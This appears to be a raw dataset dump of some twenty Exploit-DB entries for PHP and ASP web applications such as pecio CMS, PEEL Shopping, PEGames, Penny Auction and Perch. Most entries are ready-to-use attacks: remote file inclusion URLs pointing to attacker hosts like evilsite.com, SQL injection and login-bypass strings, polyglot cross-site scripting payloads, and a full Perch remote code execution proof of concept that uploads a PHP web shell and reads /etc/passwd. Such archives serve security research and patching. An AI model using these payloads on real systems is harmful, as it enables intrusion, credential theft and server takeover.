deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14815
Description: pecio CMS 2.0.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-08-27
Author: eidelweiss

Exploit:
======================================================================
pecio CMS v2.0.5 (template) Multiple Remote File Include Vulnerability
======================================================================

Software Link: http://pecio-cms.com/
Download: http://pecio-cms.com/pec_upload/files/pecio-2.0.5.zip
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com

Original Advisories: http://eidelweiss-advisories.blogspot.com/2010/08/pecio-cms-v205-template-multiple-remote.html

Greetz: Inj3ct0r.com (Inj3ct0r Exploit DataBase), YOGYACARDERLINK, and all Indonesian Hacking Community.
Special Thank`s To: iwe a.k.a KirD , PKI a.k.a Andri klaten, m4rc0 (Thx so much,you know why and i`ll never forget you all)

================================================================

Pecio is a content management system written in PHP with the intention to be a small, simple and lightweight cms for people who want to create websites including old-style information and new-style blog part.
It doesn't mainly focus on ease of use and full featured user experience but rather on being a flexible and lightweight content editing solution for web masters.

================================================================

	-=[ Vuln c0de ]=-

<?php include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/header.php'); ?>

<?php include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/footer.php'); ?>

================================================================

	-=[ p0c ]=-

	http://sample.site/pecio_path/pec_templates/nova-blue/post.php?template= [inj3ct0r sh3ll]
	http://sample.site/pecio_path/pec_templates/nova-blue/article.php?template= [inj3ct0r sh3ll]
	http://sample.site/pecio_path/pec_templates/nova-blue/blog.php?template= [inj3ct0r sh3ll]
	http://sample.site/pecio_path/pec_templates/nova-blue/home.php?template= [inj3ct0r sh3ll]

================================================================

Nb:
Script kiddies please learn more about RFI vulnerability, its not just about include and require.
if just need or want to get name or exist , so people call you hacker after post or publish shit exploits it`s wrong way i thing !!!

=========================| =[Hacking Is Art]=- |======================
Exploit-DB #32676
Description: PECL Alternative PHP Cache Local 3 - HTML Injection
Type: webapps
Platform: php
Date: 2008-12-19
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/32934/info

PECL Alternative PHP Cache is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Alternative PHP Cache 3.1.1 and 3.0.19 are vulnerable; other versions may also be affected.

A malicious user with local write access (such as an FTP user on shared
hosting environments) may create two directories
  </
  a><script>alert("XSS")</
and create a file named
  script>.php
in the latter directory, then access this file via HTTP.
Exploit-DB #45856
Description: Pedidos 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-11-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Pedidos 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://obedalvarado.pw/
# Software Link: https://netcologne.dl.sourceforge.net/project/sistema-web-de-pedidos-php/pedidos.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/ajax/load_proveedores.php?q=[SQL]
# 
GET /[PATH]/ajax/load_proveedores.php?q=%2d%61%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%73%63%68%65%6d%61%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%53%43%48%45%4d%41%54%41%29%2c%33%2c%34%2c%35%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 21:33:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 703
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #22114
Description: PEEL 1.0b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-12-31
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6496/info

PEEL is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.

An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.

If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=.
with :
http://[attacker]/lang/lang.php
Exploit-DB #18422
Description: Peel Shopping 2.8/ 2.9 - Cross-Site Scripting / SQL Injections
Type: webapps
Platform: php
Date: 2012-01-26
Author: Cyber-Crystal

Exploit:
+-------------------------------------------------------------------------+
# Exploit Title : Peel SHOPPING - version 2.8 and version 2.9 xss/sql inject Vulnerability
# version       : v2.9                                                                                                                          
# Author        : Cyber-Crystal                                             
# Date          : n/a  
# Software Link : http://www.peel.fr/ || or http://www.easy-script.com/scripts-PHP/peel-v29-4308.html                                                                                
+-------------------------------------------------------------------------+


[+] Exploits

http://localhost/peel/index.php/achat/recherche.php?motclef=[Xss Here ]&action=Rechercher

http://localhost/peel/administrer/tva.php?mode=modif&id=[SQL]

http://localhost/peel/index.php/[XSS]





# The End //
Exploit-DB #7395
Description: Peel Shopping 3.1 - 'rubid' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-09
Author: SuB-ZeRo

Exploit:
            ############### SuB-ZeRo ###############
             ############### Dz-hackers #################
            PEEL Remote SQL Injection Vulnerability
-----------------------------------------------------------------------------------------------------------

[+]Discovred by : SuB-ZeRo
[+]Vendor URL : http://www.peel.fr/
[+]downloader : http://www.script-masters.com/home/voir_script_php_mysql-146.html
[+]home: www.sub-z3ro.com / www.h4ck3r-dz.com
[+]ConTacTe: FbH@hotmail.com
[+]DoRk: FiNd It (SoOrY)
[+]exploit:
[+]http://[website]/[script]/lire/index.php?rubid=1+union+select+1,@@version,3--
[+]http://[website]/[script]/index.php?rubid=1+union+select+1,@@version,3--
[+]l!ve demo:
[+]http://demo.peel.fr/lire/index.php?rubid=1+union+select+1,@@version,3--
 
----------------------------------------------------------------------------------------------------------------------
[+]grettz : for my best frinde x.CJP.x / sousn / bbbbbbbb / and all mouslims and eid sa3id for all arabs and mouslimme
----------------------------------------------------------------------------------------------------------------------
SooN sub-z3ro.com

# milw0rm.com [2008-12-09]
Exploit-DB #49553
Description: PEEL Shopping 9.3.0 - 'address' Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-11
Author: Anmol K Sachan

Exploit:
# Exploit Title: PEEL Shopping 9.3.0 - 'address' Stored Cross-Site Scripting
# Date: 2021-02-11
# Exploit Author: Anmol K Sachan
# Vendor Homepage: https://www.peel.fr/
# Software Link: https://sourceforge.net/projects/peel-shopping/
# Software: : PEEL SHOPPING 9.3.0
# Vulnerability Type: Stored Cross-site Scripting
# Vulnerability: Stored XSS
# Tested on Windows 10 XAMPP
# This application is vulnerable to Stored XSS vulnerability.
# Vulnerable script: http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php
# Vulnerable parameters: 'Address'
# Payload used: 

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

# POC: in the same page where we injected payload click on the text box to edit the address.
# You will see your Javascript code (XSS) executed.
Exploit-DB #49574
Description: PEEL Shopping 9.3.0 - 'Comments' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-19
Author: Anmol K Sachan

Exploit:
# Exploit Title: PEEL Shopping 9.3.0 - 'Comments/Special Instructions' Stored Cross-Site Scripting
# Date: 2021-02-16
# Exploit Author: Anmol K Sachan
# Vendor Homepage: https://www.peel.fr/
# Software Link: https://sourceforge.net/projects/peel-shopping/
# Software: PEEL SHOPPING 9.3.0
# Vulnerability Type: Stored Cross-site Scripting
# Vulnerability: Stored XSS
# Tested on Windows 10 XAMPP
# This application is vulnerable to Stored XSS vulnerability.
# Vulnerable script: http://localhost/peel-shopping_9_3_0/achat/achat_maintenant.php
# Vulnerable parameters: 'Comments / Special Instructions :'
# Payload used:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

# POC: in the same page where we injected payload refresh the page.
# You will see your Javascript code (XSS) executed.
Exploit-DB #2840
Description: PEGames - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-23
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name : PEGames

* Class = Remote File Inclusion ;
 
* Download =http://ovh.dl.sourceforge.net/sourceforge/gamespe/PEGames.zip

* Found by = DeltahackingTEAM

* User In Delta Team (Dr.Pantagon )

* With the special  thanks of my financial sponser Tanha
----------------------------------------------------------------------------------------------------------
- Vulnerable Code

include_once("$abs_url/display.php");
++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

    http://[target]/[path]/Index.php?abs_url=http://evilsite.com/shell?

***********************
I LOVE YOU G.Malake
***********************
----------------------------------------------------------------------------------------------------------
Greetz:Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc

# milw0rm.com [2006-11-23]
Exploit-DB #31945
Description: PEGames - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-23
Author: CraCkEr

Exploit:
source: https://www.securityfocus.com/bid/29865/info

PEGames is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/path/template2.php?sitetitle=[XSS]
http://www.example.com/path/template2.php?sitenav=[XSS]
http://www.example.com/path/template2.php?sitemain=[XSS]
http://www.example.com/path/template2.php?sitealt=[XSS]
Exploit-DB #27338
Description: PEHEPE Membership Management System 3.0 - 'Sol_menu.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-26
Author: Yunus Emre Yilmaz

Exploit:
source: https://www.securityfocus.com/bid/16885/info

PEHEPE Membership Management System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/script_path/sol_menu.php?kul_adi="><script>alert(document.cookie)</script>
Exploit-DB #27339
Description: PEHEPE Membership Management System 3.0 - Remote PHP Script Code Injection
Type: webapps
Platform: php
Date: 2006-02-28
Author: Yunus Emre Yilmaz

Exploit:
source: https://www.securityfocus.com/bid/16887/info

PEHEPE Membership Management System is prone to a remote PHP code-injection vulnerability. 

An attacker can exploit this issue to facilitate a compromise of the application and the underlying system; other attacks are also possible. 

PEHEPE Membership Management System version 3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/sol_menu.php?uye_klasor=http://www.example.org&misafir[]=UYE_SEVIYE
Exploit-DB #37095
Description: Pendulab ChatBlazer 8.5 - 'Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-20
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/53168/info

ChatBlazer is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ChatBlazer 8.5 is vulnerable; other versions may also be affected. 

http://www.example.com/cb8.5/client.php?username=%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29%3C/SCRIPT%3E&[CREDENTIAL_REDACTED]=1009&config=config.php%3Fembed%3D0
Exploit-DB #30365
Description: Penny Auction 5 - SQL Injection
Type: webapps
Platform: php
Date: 2013-12-16
Author: 3spi0n

Exploit:
##################################################################################
  _____                 _       _   _                _____           
 |  __ \               | |     | | (_)              / ____|          
 | |__) |_____   _____ | |_   _| |_ _  ___  _ __   | (___   ___  ___ 
 |  _  // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   \___ \ / _ \/ __|
 | | \ \  __/\ V / (_) | | |_| | |_| | (_) | | | |  ____) |  __/ (__ 
 |_|  \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| |_____/ \___|\___|
                                                                                                                                        
##################################################################################                                
Penny auction version - 5, SQLi Vulnerabilities
Product Page: http://www.auctionwebsitescript.com/penny_auction_v5.html
Script Demo: http://pennyauction-ver5.auctionwebsitescript.com

Author(Pentester): 3spi0n
On Web: RevolutionSec.Com - Janissaries.Org
On Social: Twitter.Com/eyyamgudeer
##################################################################################

[+] (index.php, show Param)
>>> [url]/index.php?show=product_penny&id='89
Exploit-DB #41036
Description: Penny Auction Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-01-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:(Profile) Arbitrary Shell Upload
# Google Dork: Penny Auction Script
# Date:11.01.2017
# Vendor Homepage: http://www.tibsolutions.com/tibs-eauction/
# Script Name: Penny Auction Script
# Script Buy Now: http://www.hotscripts.com/listing/penny-auction-software-156843/  
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
#Exploit :
#Register in site ... and login 
#Goto profil
#Empty file .htaccess and Shell.php...
Exploit-DB #13901
Description: PenPals - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-06-17
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: PenPals Authentication Bypass
Vendor url:http://www.anblik.com
Version:1.0
Price:1200$
Published: 2010-06-17
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhra hackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

This ASP/XHTML/CSS script allows your members to upload and maintain their personal details on your website. Members can view each others details and add them in their personal contact wallet. Adding members to contact wallet may be free or restricted or payable, all these can be configured and set from the site administration area. From the administration area many member groups for member registration can be created with various levels of features - like whether the group members can list their profile or the number of profiles that a member can access or even whether a member can mark their profile a featured one. Members can chat with other members through ICQ/Yahoo and can also send virtual flowers to other members in the site. All the pages in the website are created following XHTML(Transitional) guidelines with pure table-less Liquid theme design and Search Engine Optimization in mind.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*Authentication Bypass

DEMO URL :

http://[site]/admin/login.asp

Use the string a' or '1'='1 for Username and Password to gain access.


# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #51627
Description: Perch v3.2 - Persistent Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-28
Author: Dinesh Mohanty

Exploit:
# Exploit Title: Perch v3.2 - Persistent Cross Site Scripting (XSS)
# Google Dork: N/A
# Date: 23-July-2023
# Exploit Author: Dinesh Mohanty
# Vendor Homepage: https://grabaperch.com/
# Software Link: https://grabaperch.com/download
# Version: v3.2
# Tested on: Windows
# CVE : Requested

# Description:
Stored Cross Site Scripting (Stored XSS) Vulnerability is found in the file upload functionally under the create asset section.

#Steps to Reproduce

User needs to login into the application and needs to follow below steps:

1. Login into the application
2. From the left side menu go to Assets (http://URL/perch/core/apps/assets/)
3. Click on "Add assets" and fill all other details (Please note not all the text fields are vulnerable to XSS as they have output encoding)
4. Create the SVG file with below contents say xss.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS");
  </script>
</svg>

4. In the File upload section upload the above SVG file and submit
5. Now go to above SVG directly say the file is xss.svg
6. go to svg file (http://URL/perch/resources/xss.svg) or you can view all Assets and view the image
7. One can see that we got an XSS alert.
Exploit-DB #51620
Description: Perch v3.2 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-07-21
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Perch v3.2 - Remote Code Execution (RCE)
Application: Perch Cms
Version: v3.2
Bugs:  RCE
Technology: PHP
Vendor URL: https://grabaperch.com/
Software Link: https://grabaperch.com/download
Date of found: 21.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account as admin
2. go to visit assets (http://localhost/perch_v3.2/perch/core/apps/assets/)
3. add assets (http://localhost/perch_v3.2/perch/core/apps/assets/edit/)
4. upload poc.phar file

poc.phar file contents :
<?php $a=$_GET['code']; echo system($a);?>

5. visit  http://localhost/perch_v3.2/perch/resources/admin/poc.phar?code=cat%20/etc/passwd


poc request: 

POST /perch_v3.2/perch/core/apps/assets/edit/ HTTP/1.1
Host: localhost
Content-Length: 1071
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYGoerZn09hHSjd4Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/perch_v3.2/perch/core/apps/assets/edit/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpwcmsBELang=en; cmsa=1; PHPSESSID=689rdj63voor49dcfm9rdpolc9
Connection: close

------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="resourceTitle"

test
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="image"; filename="poc.phar"
Content-Type: application/octet-stream

<?php $a=$_GET['code']; echo system($a);?>

------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="image_field"

1
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="image_assetID"


------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="resourceBucket"

admin
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="tags"

test
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="btnsubmit"

Submit
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="formaction"

edit
------WebKitFormBoundaryYGoerZn09hHSjd4Z
Content-Disposition: form-data; name="token"

5494af3e8dbe5ac399ca7f12219cfe82
------WebKitFormBoundaryYGoerZn09hHSjd4Z--